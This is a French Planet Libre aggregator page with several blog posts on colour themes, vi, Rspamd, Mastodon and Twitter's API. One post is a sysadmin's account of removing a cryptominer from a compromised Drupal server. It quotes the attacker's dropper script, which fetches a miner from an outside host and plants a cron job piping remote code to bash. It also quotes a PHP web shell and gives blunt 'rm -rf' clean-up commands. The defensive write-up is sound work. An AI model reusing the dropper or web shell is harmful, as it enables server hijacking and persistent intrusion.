Planet Libre

Thuban : dracula - une palette de couleurs pour vos applications

dracula - une palette de couleurs pour vos applications

J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.

Cependant, j'en ai eu marre et eu envie de tester une alternative : dracula

Plus sombre que son prédécesseur, il est à mon avis plus agréable.

alt

Vous trouverez des thèmes pour la plupart des applications.
Ci-dessous, voici les couleurs pour dmenu :

# draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"

Et pour xterm (fichier .Xdefaults)

! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0: #000000*.color8: #4D4D4D*.color1: #FF5555*.color9: #FF6E67*.color2: #50FA7B*.color10: #5AF78E*.color3: #F1FA8C*.color11: #F4F99D*.color4: #BD93F9*.color12: #CAA9FA*.color5: #FF79C6*.color13: #FF92D0*.color6: #8BE9FD*.color14: #9AEDFE*.color7: #BFBFBF*.color15: #E6E6E6

Il y a même un patch pour st

enjoy ;)

le 21/04/2018 à 16:24:00, Comete a dit :

Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256

*foreground: #909090
*background: #1c1c1c
*color0: #1C1C1C
*color8: #404040
*color1: #B85335
*color9: #d7875f
*color2: #87d75f
*color10: #d7ff87
*color3: #FFB964
*color11: #FAD07A
*color4: #7292d2
*color12: #87afff
*color5: #b87ab8
*color13: #dbbddb
*color7: #909090
*color15: #e4e4e4

! color man pages
*VT100*colorMode: on
*VT100*boldColors: on
*VT100*dynamicColors: on
*VT100*colorULMode: on
*VT100*underLine: off
*VT100*colorBDMode: on
*VT100*colorUL: #87d75f
*VT100*colorBD: #e04613

le 22/04/2018 à 10:34:48, sogal a dit :

Yeah !
Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !

Du coup j'ai fait un petit thème pour Tilix :

cat ~/.config/tilix/schemes/Dracula.json { "background-color": "#282936", "badge-color": "#FFFFFF", "bold-color": "#FFFFFF", "comment": "", "cursor-background-color": "#BABDB6", "cursor-foreground-color": "#BBBBBB", "foreground-color": "#F8F8F2", "highlight-background-color": "#F8F8F8", "highlight-foreground-color": "#888A85", "name": "Dracula", "palette": [ "#000000", "#FF5454", "#50FA7B", "#F7CA88", "#BD93F9", "#FF79C6", "#8BE8FD", "#BBBBBB", "#44475A", "#FF5454", "#50FA7A", "#F1FA8C", "#BD93F9", "#FF79C6", "#8BE8FD", "#FFFFFF" ], "use-badge-color": false, "use-bold-color": false, "use-cursor-color": true, "use-highlight-color": true, "use-theme-colors": false}

Merci pour cet article découverte !

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : dracula - une palette de couleurs pour vos applications

dracula - une palette de couleurs pour vos applications

J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.

Cependant, j'en ai eu marre et eu envie de tester une alternative : dracula

Plus sombre que son prédécesseur, il est à mon avis plus agréable.

alt

Vous trouverez des thèmes pour la plupart des applications.
Ci-dessous, voici les couleurs pour dmenu :

# draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"

Et pour xterm (fichier .Xdefaults)

! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0: #000000*.color8: #4D4D4D*.color1: #FF5555*.color9: #FF6E67*.color2: #50FA7B*.color10: #5AF78E*.color3: #F1FA8C*.color11: #F4F99D*.color4: #BD93F9*.color12: #CAA9FA*.color5: #FF79C6*.color13: #FF92D0*.color6: #8BE9FD*.color14: #9AEDFE*.color7: #BFBFBF*.color15: #E6E6E6

Il y a même un patch pour st

enjoy ;)

le 21/04/2018 à 16:24:00, Comete a dit :

Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256

*foreground: #909090
*background: #1c1c1c
*color0: #1C1C1C
*color8: #404040
*color1: #B85335
*color9: #d7875f
*color2: #87d75f
*color10: #d7ff87
*color3: #FFB964
*color11: #FAD07A
*color4: #7292d2
*color12: #87afff
*color5: #b87ab8
*color13: #dbbddb
*color7: #909090
*color15: #e4e4e4

! color man pages
*VT100*colorMode: on
*VT100*boldColors: on
*VT100*dynamicColors: on
*VT100*colorULMode: on
*VT100*underLine: off
*VT100*colorBDMode: on
*VT100*colorUL: #87d75f
*VT100*colorBD: #e04613

le 22/04/2018 à 10:34:48, sogal a dit :

Yeah !
Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !

Du coup j'ai fait un petit thème pour Tilix :

cat ~/.config/tilix/schemes/Dracula.json { "background-color": "#282936", "badge-color": "#FFFFFF", "bold-color": "#FFFFFF", "comment": "", "cursor-background-color": "#BABDB6", "cursor-foreground-color": "#BBBBBB", "foreground-color": "#F8F8F2", "highlight-background-color": "#F8F8F8", "highlight-foreground-color": "#888A85", "name": "Dracula", "palette": [ "#000000", "#FF5454", "#50FA7B", "#F7CA88", "#BD93F9", "#FF79C6", "#8BE8FD", "#BBBBBB", "#44475A", "#FF5454", "#50FA7A", "#F1FA8C", "#BD93F9", "#FF79C6", "#8BE8FD", "#FFFFFF" ], "use-badge-color": false, "use-bold-color": false, "use-cursor-color": true, "use-highlight-color": true, "use-theme-colors": false}

Merci pour cet article découverte !

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Configurer vi (et pas vim)

Configurer vi (et pas vim)

Pour les barbus fervents de minimalisme, pas besoin de vim, vi suffit à lui tout seul :)

Afin de le configurer, il faut éditer le fichier ~/.exrc. Voici le contenu (tout petit) du mien :

set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent

Le "man vi" vous donnera des détails si besoin ;)

le 18/04/2018 à 09:40:58, karchnu a dit :

En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.

le 18/04/2018 à 10:15:18, Starsheep a dit :

Je pense que tu peux aller encore plus loin dans le minimalisme : ed.

Bon courage. :D

le 18/04/2018 à 17:12:48, thuban a dit :

@Starsheep : En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.
Mais clairement, vi est plus facile :)
Sinon, chiche ! Je te regarde ;)

le 18/04/2018 à 21:02:25, fougasse a dit :

@thuban :

En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.

→ tu veux dire "ex" et "vi" font partie du même programme non ?

le 18/04/2018 à 21:18:56, thuban a dit :

@fougasse : Ah oui, pardon, c'est bien "ex", j'ai confondu.

le 19/04/2018 à 20:01:27, trefix a dit :

Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D

/me => []

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Thuban : Configurer vi (et pas vim)

Configurer vi (et pas vim)

Pour les barbus fervents de minimalisme, pas besoin de vim, vi suffit à lui tout seul :)

Afin de le configurer, il faut éditer le fichier ~/.exrc. Voici le contenu (tout petit) du mien :

set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent

Le "man vi" vous donnera des détails si besoin ;)

le 18/04/2018 à 09:40:58, karchnu a dit :

En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.

le 18/04/2018 à 10:15:18, Starsheep a dit :

Je pense que tu peux aller encore plus loin dans le minimalisme : ed.

Bon courage. :D

le 18/04/2018 à 17:12:48, thuban a dit :

@Starsheep : En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.
Mais clairement, vi est plus facile :)
Sinon, chiche ! Je te regarde ;)

le 18/04/2018 à 21:02:25, fougasse a dit :

@thuban :

En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.

→ tu veux dire "ex" et "vi" font partie du même programme non ?

le 18/04/2018 à 21:18:56, thuban a dit :

@fougasse : Ah oui, pardon, c'est bien "ex", j'ai confondu.

le 19/04/2018 à 20:01:27, trefix a dit :

Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D

/me => []

Gravatar de Thuban
Original post of Thuban.Votez pour ce billet sur Planet Libre.

Stéphane de Labrusse : Rspamd: un nouveau jouet pour Nethserver

Rspamd est un logiciel antispam, un concurrent en quelque sorte de spamassassin, qui n’est plus vraiment développé. Rspamd est jeune,  il apprend rapidement, extensible, en pleine mutation.

Cela en  fait un outil très intéressant pour NethServer qui propose par le biais de ses modules de pouvoir installer facilement un serveur email avec toutes les parties annexes (imap, pop3, opendkim, spf, spamassassin/rspamd, smtp relay, …).

Le tout en cliquant simplement dans le software center alors que le paramétrage de Postfix et sa sécurisation pourraient être un calvaire pour d’autres.

Pour l’instant rspamd est un module différent de la pile email habituelle, il vous faut installer les rpms : nethserver-mail2-server nethserver-mail2-filter mais la procédure est documentée et nous devons très bientôt remplacer spamassassin par rspamd.

La documentation est accessible ICI

Je peux dire nous, car avec fierté, j’ai largement contribué à créer ce module avec le soutien et l’aide de Davide Principi le lead-developer de NethServer.

Gravatar de Stéphane de Labrusse
Original post of Stéphane de Labrusse.Votez pour ce billet sur Planet Libre.

Articles similaires

Stéphane de Labrusse : La météore Nethserver

J’ai eu l’occasion de faire une conférence de présentation de la distribution Nethserver, le 18 novembre 2017 au capitole du libre. Je vous livre la présentation ainsi que la vidéo.

meteore_nethserver_20171118.odp

meteore_nethserver_20171118.pdf

 

Un grand moment pour moi, merci à tous les participants.

Gravatar de Stéphane de Labrusse
Original post of Stéphane de Labrusse.Votez pour ce billet sur Planet Libre.

Articles similaires

genma : Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
-Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.phpcat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "";
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \\
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \\
crontab /tmp/cron || true && \\
rm -rf /tmp/cron || true && \\
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

genma : Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
-Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Gravatar de genma
Original post of genma.Votez pour ce billet sur Planet Libre.

Okki : Création d’un compte Mastodon


Pour ceux qui n’en auraient encore jamais entendu parler, Mastodon est un logiciel libre de microblogage, et un réseau social décentralisé. Si ça ne vous parle toujours pas, disons que pour l’utilisateur final, c’est le même principe que Twitter, la liberté et le respect de l’utilisateur en plus 😁

Chacun est libre de créer sa propre instance et de fixer ses propres règles, ou d’en rejoindre une déjà existante, comme celles de La Quadrature du Net, de Framasoft, ou parmi la centaine d’autres.

Je ne vais pas réexpliquer le principe de Mastodon, Next INpact et Numerama ayant déjà écrit de nombreux articles sur le sujet :

Donc voilà, je me crée un compte sur l’instance gérée par La Quadrature du Net, puis celle-ci de me prévenir qu’il faut que j’indique l’adresse @gnomelibre@mamot.fr à mes amis pour qu’ils puissent m’envoyer un message ou me suivre à partir d’une autre instance.

Je configure rapidement mon compte et m’empresse de balancer mon premier « pouet » (l’équivalent local d’un tweet) sur la mort annoncée des clients libres pour Twitter (on notera d’ailleurs que WordPress ne sait toujours pas inclure les pouets correctement dans un article, affichant énormément d’espace entre le pouet et le reste de l’article).

Et maintenant, c’est le drame. N’étant pas présent sur Twitter (j’avais créé un compte il y a longtemps pour pouvoir illustrer un article sur Corebird, mais ce n’était guère allé plus loin), on ne peut pas dire que je sois particulièrement à l’aise avec le microblogage (je suis resté bloqué sur IRC :)

Je cherche donc à suivre le compte de certains projets, mais je me rends vite compte que GNOME, KDE, Fedora, la Linux Foundation et tant d’autres sont bien présents sur les réseaux sociaux, mais uniquement les propriétaires : Facebook, G+ et Twitter en tête. Et il en va de même des principaux développeurs de logiciels libres, qui semblent se limiter à G+ ou Twitter.

Je me retrouve donc désespérément seul sur mon tout premier réseau social, sans le moindre projet à suivre et sans savoir comment le reste du monde pourrait bien entendre mes pouets 😱

Gravatar de Okki
Original post of Okki.Votez pour ce billet sur Planet Libre.

Okki : Mort annoncée du client Twitter Corebird

Depuis plusieurs années, Twitter tente de faire disparaître les clients tiers pour contraindre les utilisateurs de passer par le site web ou d’utiliser le client officiel. Même si l’entreprise se refuse à en donner la raison, il y a fort à parier que ce soit bien plus simple et efficace pour récolter les données personnelles de leurs utilisateurs (pour pouvoir les revendre) ou de garantir l’affichage de la publicité.

Récemment, Twitter est allé encore plus loin, en annonçant la suppression à venir de certaines API vitales pour les clients tiers, telle que la mise à jour des flux en temps réel.

Last year we announced our plan to retire Site Streams & User Streams, and replace them with the Account Activity API (currently in beta). We are delaying the scheduled June 19th deprecation date.

— Twitter Dev (@TwitterDev) April 6, 2018

Twitter a bien prévu une API de remplacement (Account Activity), mais cette dernière ne serait gratuite que pour une utilisation limitée à seulement 15 comptes. Impensable pour des clients qui ont parfois plusieurs centaines de milliers d’utilisateurs. Au-delà, l’accès à l’API sera commercialisé à 2899 dollars par mois par tranche de 250 utilisateurs. Pour que ce soit rentable, il faudrait que les applications soient commercialisées sous forme d’abonnement mensuel à 16 dollars. Inconcevable pour les applications qui auraient fait le choix d’une licence libre.

